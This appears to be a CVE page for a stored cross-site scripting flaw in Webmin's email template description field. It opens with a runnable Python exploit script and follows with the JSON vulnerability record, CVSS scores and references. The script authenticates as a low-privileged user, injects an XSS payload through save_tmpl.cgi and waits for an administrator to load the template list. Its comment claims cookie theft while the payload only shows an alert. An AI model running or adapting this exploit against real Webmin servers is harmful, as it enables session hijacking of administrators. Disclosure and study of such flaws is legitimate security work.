CVE-2026-22678

import requests # Target configuration target_url = "http://target-webmin:10000" username = "low_priv_user" password = "password" session = requests.Session() # 1. Authenticate login_data = { "user": username, "pass": password, "save": "Login" } session.post(f"{target_url}/session_login.cgi", data=login_data) # 2. Exploit Stored XSS via save_tmpl.cgi # Injecting a script that steals document.cookie payload = '<img src=x onerror=alert(document.cookie)>' exploit_data = { "name": "Malicious Template", "desc": payload, # The vulnerable field "save": "Create" } # Sending request to the vulnerable endpoint response = session.post(f"{target_url}/save_tmpl.cgi", data=exploit_data) if response.status_code == 200: print("Payload injected successfully.") print(f"Wait for an admin to visit: {target_url}/list_tmpls.cgi") else: print("Exploitation failed.")

{"cve": {"id": "CVE-2026-22678", "sourceIdentifier": "[email protected]", "published": "2026-05-21T22:16:46.970", "lastModified": "2026-05-21T22:16:46.970", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Webmin before 2.641 contains a stored cross-site scripting vulnerability in the email template description field of the System and Server Status module that allows low-privileged authenticated attackers to execute arbitrary commands by injecting unsanitized input stored in save_tmpl.cgi and rendered unescaped in list_tmpls.cgi."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://webmin.com/changelog/webmin-2.641-released/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/webmin-stored-xss-via-system-and-server-status", "source": "[email protected]"}]}}